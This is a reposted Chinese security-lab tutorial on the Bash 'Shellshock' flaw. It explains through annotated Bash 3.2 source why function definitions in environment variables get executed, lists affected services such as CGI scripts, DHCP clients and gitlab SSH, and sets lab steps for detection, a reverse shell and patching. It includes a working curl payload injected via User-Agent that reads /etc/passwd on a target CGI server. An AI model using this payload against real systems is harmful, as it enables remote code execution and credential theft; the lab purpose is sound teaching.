破壳漏洞实践

实验简介
实验所属系列:操作系统安全
预备知识
了解Bash

  Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell,事实上,还有许多传统UNIX上用的Shell,像tcsh、csh、ash、bsh、ksh等 等,Shell Script大致都类同,当您学会一种Shell以后,其它的Shell会很快就上手,大多数的时候,一个Shell Script通常可以在很多种Shell上使用。

  BASH是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

  BASH的命令语法是Bourne shell命令语法的超集。数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行,只有那些引用了Bourne特殊变量或使用了Bourne的内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,$RANDOM 和 $PPID 变量,以及POSIX的命令置换语法: $(...)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名,文件名,变量名等等。

Bash漏洞起因

curl -A "() { :; }; /bin/cat /etc/passwd" http://192.168.0.1/poc.cgi

我们知道curl是linux下用于http请求的一个工具,-A是将User-Agent设置为() { :; }; /bin/cat /etc/passwd字符串,后面的http://192.168.0.1/poc.cgi是位于服务器192.168.0.1的一个cgi脚本,为什么cat /etc/passwd可以在192.168.0.1执行成功呢?
poc.cgi的源代码:

 #!/bin/bash

      echo "Content-type: text/html"

      echo ""

      echo '<html>'

      echo '<head>'

      echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

      echo '<title>PoC</title>'

      echo '</head>'

      echo '<body>'

      echo '<pre>'

      /usr/bin/env

      /* 这里存在一个BASH的调用,输出环境信息*/

      echo '</pre>'

      echo '</body>'

      echo '</html>'

      exit 0

poc.cgi允许我们远程访问http://192.168.0.1/poc.cgi时使用HTTP方式对/usr/bin/env进行调用

我们访问http://192.168.0.1/poc.cgi时可以设置任意的HTTP Header比如User-Agent、Refer、cookie以及自定义等参数。而 Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说Bash CGI默认将HTTP头部参数作为环境变量设置源。

“() { :; }; /bin/cat /etc/passwd”
      User-Agent : ()       <-- 作为函数

      { :;};               <-- 函数体

      /bin/cat /etc/passwd  <-- 注入的代码

当我们的() { :; }; /bin/cat /etc/passwd被传入Bash的环境设置函数之后,由于Bash使用的环境变量是通过函数名称来调用的,因此以“(){”开头定义的环境变量在命令ENV中解析成函数后, Bash会将这段代码这样解释:“()”当做User-Agent()函数、而“{ :;};” 作为一个空的函数体。这一Bash对环境进行设置的过程中,“() { :; }; /bin/cat /etc/passwd”会被当做代码进行“代码执行(可以想象成php的eval)”。注入的代码被成功解析执行后会以”环境变量”的形式保存在环境变量中,然后CGI返回的HTTP数据包中会将环境变量一并发送回客户端,也就是你看到的/bin/cat /etc/passwd执行了的结果。此时,相信你已经明白了个中缘由,问题产生的地方就在于Bash对环境进行设置的过程中对传入的参数在未检查其合法性的情况下,即进行了代码执行。那么Bash在代码中是如何实现的呢?我们来看一下Bash 3.2中对此功能的实现:

evalstring.c

      else if (command = global_command)

      {     struct fd_bitmap *bitmap;  

            /*

             这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性

            */

            bitmap = new_fd_bitmap (FD_BITMAP_SIZE);



            begin_unwind_frame ("pe_dispose");

           add_unwind_protect (dispose_fd_bitmap, bitmap);

           add_unwind_protect (dispose_command, command);   

            /* XXX */   

            global_command = (COMMAND *)NULL;

      }

variables.c

      /*

      Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from

      ENV

      or

      parse $SHELLOPTS.

      */

      void initialize_shell_variables (env, privmode) char **env; int privmode;

      {

          ...

         create_variable_tables ();    

          /*

          从ENV环境变量中获取参数

          */

          for (string_index = 0; string = env[string_index++]; )

          {

        char_index = 0;

        name = string;

        while ((c = *string++) && c != '=') ;

        if (string[-1] == '=')

            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a

            string without an `=', just skip them. */

        if (char_index == 0)

            continue;

        /* ASSERT(name[char_index] == '=') */

        name[char_index] = '\0';

        /*

        Now, name = env variable name, string = env variable value, and char_index == strlen (name)

        */

        /*

        If exported function, define it now.  Don't import functions from the environment in privileged mode.

        解析环境变量设置中的函数定义

        */

        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))

        {

            string_length = strlen (string);

            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);

            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string);

            /*

            这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件

            1. 控制发送的参数,并在其中拼接payload

            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞

            */

            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}

            if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

                name[char_index - 2] = '\0';

            if (temp_var = find_function (name))

            {

                VSETATTR (temp_var, (att_exported|att_imported));

                array_needs_making = 1;

            }

            else

                report_error (_("error importing function definition for `%s'"), name);

            /* ( */

            if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')

                name[char_index - 2] = '(';        /* ) */

        }

    }

}

Bash漏洞的影响范围

  Bash漏洞迄今为止影响的系统或应用包括如下:

  1. 调用了Bash并对提交的http参数未作处理的cgi脚本

  2. gitlab (SSH)

  对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

3. DHCP 客户端

  动态主机配置协议客户端被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服 务器可能允许攻击者在客户机上运行任意代码。黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改(控制hostname、 domainname等参数),可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行。

  4. Qmail

  5. F5

  6. SIP

  7. Pure-ftpd

  8. tmnt

实验目的
通过该实验了解Bash解析漏洞形成的原因,掌握基本的漏洞利用及使用方法,并能够给出加固方案
实验环境:
这里写图片描述
实验步骤一
判断test.cgi是否存在bash解析漏洞;
实验步骤二
实现反弹shell;
实验步骤三
依据你对漏洞的分析,如果让你临时修补这个漏洞你会在源码中过滤掉哪些参数。

转载自:http://www.hetianlab.com/expc.do?w=exp_ass&ce=36fe600f-5863-4d37-bb84-dda5526767a1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值